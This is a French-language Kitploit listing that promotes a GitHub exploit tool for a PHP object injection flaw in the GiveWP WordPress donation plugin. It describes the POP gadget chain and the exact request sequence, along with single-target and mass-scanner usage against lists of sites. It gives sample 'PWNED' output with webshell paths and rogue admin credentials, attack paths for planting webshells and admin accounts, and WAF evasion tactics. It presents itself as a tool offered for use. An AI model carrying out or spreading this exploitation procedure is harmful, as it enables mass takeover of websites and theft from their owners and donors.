Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-82222 — GiveWP <= 4.16.7.1 Injection d'objets PHP non authentifiée → RCE | Kitploit
Outils/GitHubGitHub/r0x19/cve-2026-82222
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionRed TeamingDéveloppement de Charges Utiles
GitHubr0x19/cve-2026-82222

CVE-2026-82222

GiveWP <= 4.16.7.1 Injection d'objets PHP non authentifiée → RCE

Voir le dépôt
il y a 15h 29mPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-82222 — GiveWP <= 4.16.7.1 Injection d'objets PHP non authentifiée → RCE

Auteur : Rx019
CVSS : 10.0 (Critique)
Type : Injection d'objets PHP non authentifiée → Exécution de code à distance
Plugin : GiveWP (give) — Plugin de dons et plateforme de collecte de fonds
Versions concernées : <= 4.16.7.1
Correctif : 4.16.8


Description

GiveWP stocke le last_name d'un donateur dans la session PHP sans assainissement. Lorsqu'un don est soumis sans le champ give_last, GiveWP désérialise la valeur brute de la base de données directement dans la session. Cela permet à un attaquant non authentifié d'injecter un objet PHP sérialisé dans last_name via le point de terminaison du profil du donateur, puis de déclencher la désérialisation en soumettant un don forgé — ce qui entraîne l'exécution arbitraire de commandes via une chaîne POP pré-construite disponible dans les bibliothèques fournisseurs incluses avec GiveWP.


Chaîne POP

root@kitploit:~
TCPDF::__destruct() └─ Session::getBag() ← appelle la méthode nommée par $attributeName └─ DonationFactory::__call() └─ system($command) ← $command provient de $attributeName

Classes fournisseurs utilisées :

ClasseFichier
TCPDFvendor/tecnickcom/tcpdf/tcpdf.php
Give\Vendors\Symfony\...\Sessionvendor/symfony/http-foundation/Session/Session.php
Give\TestData\Factories\DonationFactorysrc/TestData/Factories/DonationFactory.php

Déroulement de l'exploit

root@kitploit:~
1. S'inscrire comme donateur         → session authentifiée (cookie wp-login)
2. POST /wp-admin/profile.php
   last_name = chaîne TCPDF sérialisée avec commande system() intégrée
3. POST /wp-admin/admin-ajax.php
   action=give_process_donation  (champ give_last OMIS)
   → GiveWP lit last_name depuis la base de données, écrit l'objet brut dans la session
4. GET /?p={form_id}
   → la destruction de la session PHP déclenche TCPDF::__destruct()
   → la chaîne POP exécute system(command)
5. Confirmer le shell / l'admin créé

Prérequis

root@kitploit:~
pip install requests rich

Python >= 3.9


Fichiers

FichierDescription
CVE-2026-82222.pyPoC cible unique — sortie détaillée étape par étape
CVE-2026-82222-MASS.pyScanner de masse — mode batch multithreadé

Utilisation

Cible unique

root@kitploit:~
python CVE-2026-82222.py

Invite interactive :

root@kitploit:~
  URL cible : https://victim.com

Ou directement :

root@kitploit:~
python CVE-2026-82222.py https://victim.com

Scanner de masse

root@kitploit:~
# Lot depuis un fichier
python CVE-2026-82222-MASS.py -f targets.txt

# Nombre de threads personnalisé
python CVE-2026-82222-MASS.py -f targets.txt -t 10

# Plusieurs cibles en ligne
python CVE-2026-82222-MASS.py https://site1.com https://site2.com

# Menu interactif
python CVE-2026-82222-MASS.py

Format du fichier de lot :

root@kitploit:~
# Les lignes commençant par # sont ignorées
https://target1.com
https://target2.com
target3.com          # protocole préfixé automatiquement en https://
http://target4.com

Sortie

Mode cible unique

root@kitploit:~
╭─ CVE-2026-82222 | Rx019 ─────────────────────────────╮
│                                                        │
│  PWNED (shell + direct)  https://victim.com           │
│  Version : 4.15.0                                     │
│  WAF     : Wordfence                                   │
│  Shell   : https://victim.com/wp-content/uploads/...  │
│  Méthode : shell + direct (aucune écriture .php requise) │
│  Admin   : rxadm3f91:RxAdm!k2m9xp7 ([email protected]) │
│                                                        │
╰────────────────────────────────────────────────────────╯

Résumé du lot

root@kitploit:~
  Vulnérables : 12   Partiels : 3   Corrigés : 44   Non vulnérables : 21   Erreurs : 2   Total : 82

Résultats enregistrés dans ~/Documents/CVE/CVE-2026-82222/ :

FichierContenu
CVE-2026-82222_YYYYMMDD_HHMMSS.txtRésultat d'une exécution unique
CVE-2026-82222_batch_YYYYMMDD_HHMMSS.txtRésultats complets du lot
success_results.txtLignes VULN/PARTIEL ajoutées

Chemins d'attaque

L'exploit tente deux chemins principaux en séquence :

Chemin A — Admin direct (aucun fichier shell écrit)

  1. Injecter le code PHP wp_create_user() en base64 dans la chaîne TCPDF
  2. Déclencher la chaîne — GiveWP exécute le code côté serveur
  3. Vérifier en se connectant en tant qu'admin créé
  4. Déposer un shell via l'éditeur de fichiers de plugin/thème WordPress

Chemin B — Dépôt de shell via la chaîne GiveWP

Utilisé lorsque le chemin A échoue ou que la connexion admin ne peut pas être vérifiée.

  1. Enregistrer une nouvelle session donateur (nouveau fichier de session PHP — évite les conflits de verrouillage du worker du chemin A)
  2. Injecter la commande de dépôt de shell dans last_name via le point de terminaison du profil
  3. Contaminer la session (don sans give_last)
  4. Déclencher la désérialisation (/?p={form_id})
  5. Confirmer la présence du shell dans les répertoires upload/plugin/thème
  6. Repli : balise id | tee vers un fichier .txt dans uploads

Chemin C — Admin via shell

Si un shell est confirmé mais qu'aucun admin n'existe encore, en créer un via le shell en utilisant wp_create_user() via le paramètre ?c= du webshell.


Gestion du WAF

WAFStratégie
Imunify360Supprimer les en-têtes d'usurpation X-Forwarded-For / X-Real-IP
WordfenceRotation du User-Agent depuis un pool
CloudflareDéfinir Accept-Encoding : gzip, deflate, br

Remarques

  • L'exploit nécessite que GiveWP ait au moins un formulaire de don publié
  • L'inscription doit être activée sur le site cible (paramètre WordPress de base)
  • Drainage du pool de workers PHP-FPM : une pause de 30 secondes est insérée après la chaîne admin directe pour permettre au worker détenant la session de libérer avant les requêtes suivantes
  • DISALLOW_FILE_EDIT dans wp-config.php bloque le vecteur de l'éditeur de plugin/thème — le script le détecte tôt et bascule vers le chemin B
  • Nom du fichier shell : Rx{100-999}.php — randomisé à chaque exécution

Avertissement

Cet outil est publié uniquement à des fins de tests de sécurité autorisés et de recherche.
Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test.
Toute utilisation non autorisée est illégale et contraire à l'éthique.

Télécharger l’outil